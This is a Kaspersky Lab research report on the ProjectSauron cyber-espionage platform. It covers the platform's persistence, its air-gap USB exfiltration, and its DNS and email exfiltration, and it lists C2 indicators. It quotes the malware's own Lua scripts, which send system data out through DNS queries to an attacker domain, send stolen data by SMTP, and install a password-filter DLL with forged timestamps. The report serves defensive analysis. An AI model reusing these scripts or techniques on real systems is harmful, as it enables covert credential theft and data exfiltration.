KASPERSKY lab

THE PROJECTSAURON APT

Global Research and Analysis Team

Version 1.02 (August 9, 2016)

GREAT

Table of Contents

Executive summary

In September 2015, Kaspersky Lab's Anti-Targeted Attack Platform discovered anomalous network traffic in a government organization network. Analysis of this incident led to the discovery of a strange executable program library loaded into the memory of the domain controller server. The library was registered as a Windows password filter and had access to sensitive data such as administrative passwords in cleartext. Additional research revealed signs of activity of a previously unknown threat actor, responsible for large-scale attacks against key governmental entities.

```
KBLOG_ROTATE_SECS = 10800
tmp_dir = os.getenv("WINDIR") .. "\\temp\\"
drive = "C:\\"
SAURON_KBLOG_KEY = "mISfx1q2Ef/QJPO4gi6DMKD5lxeQ380knDrULcZyTF5vFNWb
create_log = function(l_1_0, l_1_1, l_1_2, l_1_3)
  local f = ""
  repeat
    w.sleep(1000)
    t1 = "b"
    t2 = "k"
    t3 = "a"
```

The name, 'ProjectSauron' reflects the fact that the code authors refer to 'Sauron' in the configuration files.

The threat actor behind ProjectSauron commands a top-of-the-top modular cyber-espionage platform in terms of technical sophistication, designed to enable long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim.

Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a few countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area.

This paper in a nutshell

- ProjectSauron is a modular platform designed to enable long-term cyber-espionage campaigns.
- All modules and network protocols use strong encryption algorithms, such as RC6, RC5, RC4, AES, Salsa20, etc.
- ProjectSauron uses a modified Lua scripting engine to implement the core platform and its plugins. There are more than 50 different plugin types.

- ProjectSauron has high interest in communication encryption software widely used by targeted governmental organisations. It steals encryption keys, configuration files, and IP addresses of the key infrastructure servers related to the software.
- ProjectSauron is able to exfiltrate data from air-gapped networks by using specially-prepared USB storage drives where data is stored in an area invisible to the operating system.
- The platform makes extensive use of the DNS protocol for data exfiltration and real-time status reporting.
- The APT has been operational since at least June 2011 and was still active in 2016.
- The initial infection vector used to penetrate victim networks remains unknown.
- The attackers utilize legitimate channels of software distribution for lateral movement within infected networks.

Victims

Using our telemetry, we found more than 30 infected organizations in Russia, Iran and Rwanda, and there may be some in Italian-speaking countries. Many more organizations and geographies are likely to be affected.

The organizations attacked are key entities that provide core state functions:

- Government
- Scientific research centers
- Military
- Telecommunication providers
- Finance

Technical Summary

What follows is a summary of the most interesting and unique features of ProjectSauron:

1. ProjectSauron usually registers its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter. This feature is typically used by system administrators to enforce password policies and validate new passwords to match specific requirements, such as length and complexity. This way, the ProjectSauron passive backdoor module starts every time any domain, local user, or administrator logs in or changes a password, and promptly harvests the passwords in plaintext.
2. In cases where domain controllers lack direct Internet access, the attackers install additional implants on other intranet servers likely to have both Internet access and at the same time generate a lot of network traffic, such as proxy-servers, web-servers, or software update servers. After that, these intermediary servers are used by ProjectSauron as internal proxy nodes for silent and inconspicuous data exfiltration, blending in with high volumes of other legitimate traffic.
3. Once installed, the main ProjectSauron modules start working as 'sleeper cells', displaying no activity of their own and waiting for 'wake-up' commands in the incoming network traffic. This method of operation ensures ProjectSauron's extended persistence on the servers of targeted organizations.
4. Most of ProjectSauron's core implants are designed to work as backdoors, downloading new modules or running commands from the attacker purely in memory. The only way to capture these modules is by making a full memory dump of the infected systems.
5. Secondary ProjectSauron modules are designed to perform specific functions like stealing documents, recording keystrokes, and hijacking encryption keys from both infected computers and attached USB sticks.
6. Almost all of ProjectSauron's core implants are unique, have different file names and sizes, and are individually built for each target. Each module's timestamp, both in the file system and in its own headers, is tailored to the environment into which it is installed.
7. ProjectSauron implements a modular architecture using its own virtual file system to store additional modules (plugins) and a modified Lua interpreter to execute internal scripts. There are more than 50 different plugin types.
8. ProjectSauron works on all modern Microsoft Windows operating systems - both x64 and x86. We have witnessed infections running on Windows XP x86 as well as Windows 2012 R2 Server Edition x64.
9. ProjectSauron has extensive network communication abilities using full stacks of the most common network protocols: ICMP, UDP, TCP, DNS, SMTP, and HTTP.

Malware Deployment

In several cases, ProjectSauron modules were deployed through the modification of scripts used by system administrators to centrally deploy legitimate software updates within the network.

In essence, the attackers injected a command to start the malware by modifying existing software deployment scripts. The injected malware is a tiny module (4-5 Kb) that works as a simple downloader. Once started on the target computers under a network administrator account, the downloader connects to the hard-coded internal or external IP address and downloads the ProjectSauron payload from there.

In cases where the ProjectSauron VFS container is stored on disk in EXE file format, it disguises the files with legitimate software file names, for example:

Vendor that uses similar filenames	Disguised malware filename
Kaspersky Lab	kavupdate.exe, kavupd.exe
Symantec	SsaWrapper.exe, symnet32.dll
Microsoft	KB2931368.exe
Hewlett-Packard	hptcpprnt.dll
VmWare	VMwareToolsUpgr32.exe

Jumping over the Air-Gap

The ProjectSauron toolkit contains a special module designed to move data from air-gapped networks to Internet-connected systems. To achieve this, removable USB devices are used. Once networked systems are compromised, the attackers wait for a USB drive to be attached to the infected machine.

These USBs are specially formatted to reduce the size of the partition on the USB disk, reserving an amount of hidden data (several hundred megabytes) at the end of the disk for malicious purposes. This reserved space is used to create a new custom-encrypted partition that won't be recognized by a common OS, such as Windows. The partition has its own semi-filesystem (or virtual file system, VFS) with two core directories: 'In' and 'Out'.

This method also bypasses many DLP products, since software that disables the plugging of unknown USB devices based on DeviceID wouldn't prevent an attack or data leakage because a genuine recognized USB drive was used.

When penetrating isolated systems, the sole creation of the encrypted storage area in the USB does not enable attackers to get control of the air-gapped machines. There has to be another component such as a zero-day exploit placed on the main partition of the USB drive. Unfortunately we haven't found any zero-day exploit embedded in the body of any of the malware we analyzed, and we believe it was probably deployed in rare, hard-to-catch instances.

For more information, please see the 'MyTrampoline' section of 'Technical Analysis' for technical details.

“VirtualEncryptedNetwork”

ProjectSauron actively searches for information related to a rather uncommon, custom network encryption software. This client-server software is widely adopted by many of the target organizations to secure communications, voice, email, and document exchange. To avoid possible victim attribution implications based on the real name of the software, we refer to it as “VirtualEncryptedNetwork” (further abbreviated as VEN).

In a number of cases we analyzed, ProjectSauron deployed malicious modules inside VEN's software directory, disguised under similar filenames, accessing the data placed besides its own executable. Decrypted Lua scripts show that the attackers have a high interest in installed VEN components, encryption keys, virtual network configuration files, and the location of servers that relay encrypted messages between the nodes:

```
local t = w.exec2str("regedit -a \"HKEY_LOCAL_MACHINE\\Software\\VirtualEncryptedNetwork\\Components\"
        |grep -i  [snip] ")
local r = w.exec2str("cat \"" .. l_3_0 .. "settings.cfg" | grep -i " .. t)
w.exec("dir /s /b ap*.txt link*.txt node*.tun VirtualEncryptedNetwork.licence VirtualEncryptedNetworkEMail.key
        VirtualEncryptedNetwork.ini [snip] | get2 -")
```

Also, one of the embedded ProjectSauron configurations contains a special unique identifier for the targeted server (targetid DWORD) within the VEN network.

Interesting behavior was found in the component that searched for VEN´s server IP address. After getting the IP, the ProjectSauron component tries to communicate with the remote server using its own (ProjectSauron) protocol as if it was yet another C2 server. This suggests that some of VEN communication servers could also be infected with ProjectSauron.

```
targetId 0D3F0454
sourcePort 60439
targetPort 5003
listenPort 5010
```

After collecting and exfiltrating VEN-related data, ProjectSauron components securely self-remove:

```
e = s.format("move -O FakeVirtualEncryptedNetwork.dll FakeVirtualEncryptedNetwork.dl_")
w.exec(e)
e = s.format("wipe FakeVirtualEncryptedNetwork.dl_")
w.exec(e)
e = s.format("rbswap FakeVirtualEncryptedNetwork.dl_")
w.exec(e)
```

Network exfiltration

ProjectSauron uses a number of ways to hide both data exfiltration and the way it receives new commands or modules. In addition to common ways to exfiltrate data via direct communication with C2s or its intermediate proxies using standard protocols (see 'Technical Analysis'), ProjectSauron utilizes a few uncommon techniques to exfiltrate data:

- Tunneling over DNS
- Email

DNS

One of the plugins we analyzed was internally named 'DEXT', which probably stands for DNS exfiltration tool. To avoid generic detection of DNS tunnels at network level, the attackers used it in low-bandwidth mode, which is why it was used solely to exfiltrate target system **metadata**:

```
domain = "bikessport[.]com"
 execStr = string.format("sinfo | basex -b 32url | dext -l 30 a." .. domain .. " | nslu -")
 res = w.exec2str(execStr)
```

The example above shows the following ProjectSauron steps written in a Lua script:

1. Collect common system information using a tool called sinfo
2. Encode the info into BASE64-format (basex)
3. Generate a set of DNS packets to a.bikessport[.]com domain with transferred payload chunks of 30 bytes per packet (dext)
4. Send generated DNS packets one by one using nslu tool

The same approach is used by another script to exfiltrate network configuration information

```
execStr = string.format("netnfo -irc | basex -b 32url | dext -l 30 c." .. domain .. " | nslu -")
 res = w.exec2str(execStr)
 execStr = string.format("regedit -a \"\\HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" |
basex -b 32url | dext -l 30 d." .. domain .. " | nslu -")
 res = w.exec2str(execStr)
```

Another interesting feature in ProjectSauron that leverages the DNS protocol is the **real-time reporting of the operation progress to a remote server**. Once an operational milestone is achieved, ProjectSauron issues a DNS-request to a special subdomain, which is unique to each target:

```
 domain = "j.bikessport[.]com"
 execStr = string.format("nslu yhc9421." .. domain)
 w.exec2str(execStr)
 w.exec("sinfo")
 w.exec("wfw status")
 execStr = string.format("nslu yhc9422." .. domain)
```

```
w.exec2str(execStr)
w.exec("dinst")
w.exec("pstoredi")
execStr = string.format("nslu yhc9452." .. domain)
w.exec2str(execStr)
w.exec("samdump")
w.exec("netx -f")
w.exec("w3get -s http://ipchicken.com/index.php")
execStr = string.format("nslu yhc9472." .. domain)
```

Email

While we have previously seen malware using email as a data exfiltration method, i.e. Kimsuky or BlueTermite APT, ProjectSauron APT uses this channel slightly differently.

First, ProjectSauron generates a proper MIME email message that looks identical to an email generated by a common email client software. Moreover, it inserts mailer application information, "**Thunderbird 2.0.0.9 (Windows/20071031)**" in this case. Email body is a short text message with a unsuspicious subject and a 'data.bin' binary attachment encoded with Base64. The attachment may look like unknown benign data in unrecognized format but of course it contains stolen data in encrypted form. The email addresses, message subject and email body are individually selected to each target and are never reused.

Next, ProjectSauron connects directly to an external SMTP server by using a hard-coded IP (i.e. Google mail server) to send the email. In cases where direct connections to an external mail server are not allowed in the target network, ProjectSauron searches for an authorized local email server in the protected virtual network by parsing configuration of VEN software and then uses it to send a copy of the email in case of direct connection failure.

```
externalmail = "74.125.148.11"  //Google mail server
...
mailto = "xxx.xxx.xxx@gmail.com"
mailSubject = "Regarding your offer"
mailBody = "This is to inform you that I decline your offer. See attachment.\n Best Regards xxxxx"
smtpport = ""
smtpserver = ""
...
 buffer = string.format("%sMessage-ID: <%s.%s@localhost.localdomain>%s", buffer, id1, id2, endOfRow)
 buffer = string.format("%sFrom: <%s>%s", buffer, l_1_1, endOfRow)
 buffer = string.format("%sUser-Agent: Thunderbird 2.0.0.9 (Windows/20071031)%s", buffer, endOfRow)
 buffer = string.format("%sMIME-Version: 1.0%s", buffer, endOfRow)
 buffer = string.format("%sTo: %s%s", buffer, l_1_0, endOfRow)
 buffer = string.format("%sSubject: %s%s", buffer, l_1_2, endOfRow)
 ...
regStr = w.exec2str("cat VirtualEncryptedNetwork.ini|grep -i \"pop|smtp")
for k,v in string.gmatch(regStr, "(%w+)=([%w,%. ]*)") do
 if string.lower(k) == "smtpserver" then
  smtpserver = v
 end
 if string.lower(k) == "smtpport" then
  smtpport = v
 end
end
```

```
...
slask = mail(mailto, mailto, mailSubject, mailBody, log)
slask2 = w.exec2str("smtpsend " .. externalmail .. " " .. mailto .. " " .. mailto, slask)
w.debugf(slask2)
slask2 = w.exec2str("smtpsend " .. smtpserver .. " " .. mailto .. " " .. mailto, slask)
w.debugf(slask2)
```

Lua

The use of a Lua interpreter allowed the attackers to operate with flexibility by writing a simple Lua script for a target machine. The original **Lua interpreter was modified by the attackers** to support Unicode (UTF-16) string encoding.

Below is an example of such a script used to install ProjectSauron modules onto the system:

```
domain = "bikessport[.]com"
dllName = "msprtssp.dll"

install_zeta2 = function()

    windir = os.getenv("WINDIR")
    execStr = string.format("put2 zeta2dll \"%s\\SYSTEM32\\%s\"", windir, dllName)
    res = w.exec2str(execStr)
    if string.find(res, "kb/sec") == nil then
        w.printf("put2 failed\n%s\n", res)
      return false
   end

   execStr = string.format("nslu gc3220." .. domain)
   w.exec2str(execStr)
   regwrite = false
   regStr = w.exec2str("regedit -r \"HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\" | grep -i
SecurityProviders")
   w.printf("regStr %s\n", regStr)

   for k,v in string.gmatch(regStr, "\"(%w+)\"=\"([%w,%. ]*)\"") do
      w.printf("k=%s, v= %s\n", k, v)
      if string.lower(k) == "securityproviders" then
         if string.len(v) > 0 then
            value = string.format("%s, %s", v, dllName)
         else
            value = string.format("%s", dllName)
         end
         if not string.find(v, dllName, 1, true) then
            stdIn = string.format("Windows Registry Editor Version
5.00\n\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders]\n\"SecurityProviders\"=\"%s\
"", value)
            w.printf("\n\nstdIn\n%s\n", stdIn)
            out = w.exec2str("regedit -i", stdIn)
            w.printf("\n\nout\n%s\n", out)
         else
            w.printf("Found dllName\n")
         end
         regwrite = true
      end
   end
   if regwrite == true then
      execStr = string.format("ftime -c \"%s\\SYSTEM32\\ntdll.dll\" \"%s\\SYSTEM32\\%s\"", windir, windir, dllName)
      res = w.exec2str(execStr)
      w.printf("%s\n", res)
      execStr = string.format("nslu gc3221." .. domain)
      w.exec2str(execStr)
```

```
    end
    return regwrite
end

z2res = install_zeta2()

if not z2res then
    w.printf("Installation failed\n")
    execStr = string.format("nslu xxc3222." .. domain)
    w.exec2str(execStr)
else
    str = w.exec2str("plist -b | grep netsvcs")
    pid = string.match(str, "%w* (%d+) %w*")
    w.debugf("Pid %d\n", pid)
    w.exec2str(string.format("pkill %d", pid))
    w.printf("Installation done\n")
    execStr = string.format("nslu ooc3222." .. domain)
    w.exec2str(execStr)
end
```

More Lua examples are shown in 'Technical Analysis'.

VFS Structure

The VFS can have both a linear and a two-level hierarchical view. In the case of a two-level hierarchical view, one of the levels contains the data responsible for process injection, data stealing and storing it into the local ProjectSauron cache, and the second structure contains the data for exfiltration and external network communications. In the case of a linear view, all types of modules are located on a single level.

Curiously, in many cases the same plugins are found in both the VFS upper and lower levels.

Typically, a local cache of stolen files is located within the **C:\System Volume Information_restore{ED650925-A32C-4E9C-8A73-8E6F0509309A}** folder, and keylogging results are stored in %WINDIR%\Temp\ folder under the names '**bka*.da**' or '**~*.tmp**'.

The VFS has some pre-defined packages of plugins called 'blobs'.

The minimal set of plugins for process injection and stored data exfiltration is called kblog.blob and consists of the following modules:

- detach
- ilpsend
- dir
- skip

In some cases, there exists an 'extended' package variant used that redirects the exfiltration data stream through its own local proxy-server and wipes sent documents upon completion. The extended variant contains the following modules:

- kgate
- knatt
- wipe

Interestingly, there is no automatic wiping of the documents sent to the server in the 'minimal' package. It's assumed that this task should be carried out by second Lua-script (in the case of a hierarchical VFS – the parent or child). However, this assumption is not met in all cases. This means that in such cases the stolen documents are not removed and remain stored in the ProjectSauron cache forever, which suggests a design flaw.

C2 Infrastructure

The ProjectSauron actor is extremely well prepared when it comes to operational security. Running an expensive cyberespionage campaign like ProjectSauron requires vast domain and server infrastructure uniquely assigned to each victim organization and never again reused. This makes traditional network-based indicators of compromise useless because they are never reused in any other organization.

We collected 28 domains linked to 11 IPs located in the United States and several European countries that might be connected to ProjectSauron campaigns.

IP	ISP
104.131.61.33	Digital Ocean, Inc., US
176.9.242.188	Closco Ltd, Germany
185.78.64.121	MM ONE Group Srl, Italy
192.195.77.59	1&1 Internet Inc., US
216.250.114.149	1&1 Internet Inc., US
217.160.176.157	1&1 Internet AG, Germany
37.252.125.88	Tilaa, The Netherlands
54.209.129.218	Amazon AWS, US
66.228.52.133	Linode, US
81.4.108.168	RamNode, The Netherlands
83.125.22.161	AttractSoft GmbH, Germany

Even the diversity of ISPs selected for ProjectSauron operations makes it clear that the actor did everything possible to avoid creating patterns. Unfortunately, little is known about these servers.

The list of ProjectSauron domains follows (domains in bold were extracted from malware, the rest were found via Passive DNS and are not validated):

ad-consult.cc art-irisarns.com **bikessport.com** chirotherapie.at **csrv01.rapidcomments.com** dee.hcmut.edu.vn der-wein.at dievinothek.net display24.at dr-rauch.com	easterncredit.net **flowershop22.110mb.com** gtf.cc iut.hcmut.edu.vn liebstoecklco.at lydia-leydolf.at mail.mbit-web.com mbit-web.com mycruiseship.net **myhomemusic.com**	**ping.sideways.ru** rapidcomments.com sba-messebau.at utc-wien.at weingut-haider-malloth.at **wildhorses.awardspace.info** windward-trading.biz winnie-andersen.com

Attribution

Attribution is hard and reliable attribution is rarely possible in cyberspace. Even with confidence in various indicators and apparent attacker mistakes, there is a greater likelihood that these can all be smoke and mirrors created by an attacker with a greater vantage point and vast resources. When dealing with the most advanced threat actors, as is the case with ProjectSauron, attribution becomes an unsolvable problem.

Rather than speculate on the perpetrators behind such a sophisticated attack, we instead highlight a few relevant observations made during analysis.

Language Use

All human-written text is in English.

Core scenarios that orchestrated ProjectSauron modules were written in Lua, a computer language that traditionally doesn't support the UTF-16 character set for string operations. However, the target systems had some local paths in a non-Latin character set thus creating the requirement to extend Lua to support UTF-16, which the developers of ProjectSauron did. This suggests that originally the ProjectSauron developers worked and tested their code on systems with a Latin character set and only after deploying it in a real-world scenario found Lua's features deficient. Instead of scraping their interpreter of choice, they decided to modify it to implement the missing features.

One of the configuration files we extracted contained a list of file extensions and keywords that contain Italian words:

```
.*account.*|.*acct.*|.*domain.*|.*login.*|.*member.*|.*user.*|.*name|.*email|.*_id|id|uid|mn|mailaddress|.*nick.*|alias|codice|uin|sign-in|strCodUtente|.*pass.*|.*pw|pw.*|additional_info|.*secret.*|.*segreto.*
```

The italian keywords and filenames targeted by ProjectSauron data theft modules can be translated as following:

Italian keyword	Translation
Codice	code
CodUtente	Usercode
Segreto	Secret

Most ProjectSauron modules contain standard embedded usage output in proficient English, i.e.

arping module

```
-r    Resolve hosts that answer.
-l    Print only replying Ips.
-m    Do not display MAC addresses.
```

This looks like a very traditional Unix-way of outputting simple command help/usage.

However, there is no common style of outputting module usage and it varies from module to module. Here is an example of a different usage output:

kblogi module

```
kblogi [options]
Options:
kblogi
-p proc    Inject using process name or pid. Default "explorer.exe".
-c file    Convert mode: Read log from file and convert to text.
-t sec     Maximum running time in seconds
-v         Verbose mode
-?         Displays this usage information.
```

While it may look similar to the previous usage output an experienced user would recognize the difference: it looks more like a usage of command from Windows. The option '-?' is rarely seen in the Unix world, optional parameters are enclosed with '[' and ']' characters, mandatory parameters are enclosed with '<' and '>', etc.

The following example of usage output is indicative of an experienced Unix user with proper formatting:

basex module

```
basex [-b <base>] [-d [-f]] [-h]
Options:
  -b base  64, 64url, 32, 32url or 16. Default is 64
  -d       Decode data. Default is to encode
  -f       Force decoding when input is invalid/corrupt
  -h       This cruft
Uses standard in/out. See man page for examples.
```

It seems that the same developer created several tools, as indicated by further identical-style usage formatting.

DNS Exfiltration module (dext)
dext [options] suffix Options: -a Assemble rows of DNS names back to a single string of data -f Force - removes checks of DNS names and lengths (during split) and missing/wrapped data (during assembly) -l length Specify length of data part of suffix (default and max is %d) -r Randomize data lengths (length/2 to length) **-h This cruft** Suffix format: domain.com **See man page for examples.**

There is a noteworthy reference to a 'man page', a term for standard Unix manuals. Another unique language feature is usage of "**This cruft**" for the **-h** option. The term **cruft** is rarely used by non-native speakers and actually has a Wikipedia article to explain its use:

*"Cruft is **jargon** for anything that is left over, redundant and getting in the way. It is used particularly for superseded and unused technical and electronic hardware and useless, superfluous or dysfunctional elements in computer software."*
...
"*Around 1958, the term was used in the sense of "garbage" by students frequenting the MIT Tech Model Railroad Club."*
...
"The FreeBSD handbook uses the term to refer to leftover or superseded object code that accumulates in a folder or directory when software is recompiled and new executables and data files produced."

Older versions of software in the *BSD world, such as cryptcat or netcat (a very common universal network client/server tool for network testing) used identical option descriptions:

Netcat tool usage, Apple Mac OS, 1999	Cryptcat tool usage, KALI Linux, 2014
... -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... **-h this cruft** ...	... -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... **-h this cruft** ...

In fact, this unique way to comment the '-h' option is mostly found in netcat-derivative projects based on the original netcat developed by an old-school hacker known as 'hobbit' (hobbit@avian.org)[1], who first released the netcat source code back in 1995. Hobbit used the word "cruft" four times in the netcat110 source code from 1996:

```
/* timeout and other signal handling cruft */
   -h                   this cruft\n\
### and have "xxx.bat" that types out all the cruft for %INCLUDE%\%1.
# compiler cruft??
```

However, we do not believe that hobbit can be in any way related to the development of ProjectSauron modules. The more likely explanation is that the developers of the ProjectSauron modules are also old school hackers that develop advanced tools and use "**this cruft**" as a tribute to old and stable tools.

[1] Hobbit's personal page is at http://techno-fandom.org/~hobbit/

Conclusions

Every APT attack we analyze brings with it some new knowledge about the nature of cyberespionage. The attackers are hackers first and foremost and, as proficient hackers, they invent novel ways to get into a network, do lateral movement, leave nearly no traces, all while exfiltrating valuable data.

ProjectSauron is a very advanced actor, comparable only to the top-of-the-top in terms of sophistication: alongside Duqu, Flame, Equation, and Regin. Whether related or unrelated to these advanced actors, the ProjectSauron attackers have definitely learned from these others.

As a reminder, here are some features of other APT attackers that ProjectSauron attackers had carefully learned from or emulated:

Duqu:

- Use of intranet C2s (that compromised target servers may act as independent C2s)
- Running only in memory (persistence on a few gateway hosts only)
- Use of different encryption methods per victim
- Use of named pipes for LAN communication
- Malware distribution through legitimate software deployment channels

Flame:

- Lua-embedded code
- Secure file deletion (through data wiping)
- Attacking air-gapped systems via removable devices

Equation and Regin:

- Usage of RC5/RC6 encryption
- Virtual Filesystems (VFS)
- Attacking air-gapped systems via removable devices
- Hidden data storage on removable devices

These other actors also showed what makes them vulnerable to potential exposure and ProjectSauron did its best to address these issues:

- Vulnerable or persistent C2 locations
- ISP, IP, domains, and tool reuse across different campaigns
- Crypto-algorithms reuse (as well as encryption keys)
- Forensic evidence on disk
- Timestamps in various components
- Large volumes of network data or unusual protocols or message formats

In addition, it appears that the attackers took special care with what we consider as indicators of compromise and implemented a unique pattern for each and every target they attacked, so that the same indicators

would have little value for anyone else. This is a summary of the ProjectSauron strategy as we see it. The attackers clearly understand that we as researchers are always looking for patterns. Remove the patterns and the operation will be harder to discover. We are aware of more than 30 organisations attacked but we are sure that this is just a tiny tip of the iceberg.

A common organisation hit by a serious actor such as ProjectSauron can hardly cope with proper detection and mitigation of such a threat on its own. As attackers become seasoned and more mature, the defending side will have to build an identical mindset: developing the highest technical skills comparable to those of the attackers in order to resist their onslaught.

Contact us at: intelligence@kaspersky.com

Securelist, the resource for Kaspersky Lab experts' technical research, analysis, and thoughts.

Follow us

Kaspersky Lab global Website

Eugene Kaspersky Blog

Kaspersky Lab B2C Blog

Kaspersky Lab B2B Blog

Kaspersky Lab security news service

Kaspersky Lab Academy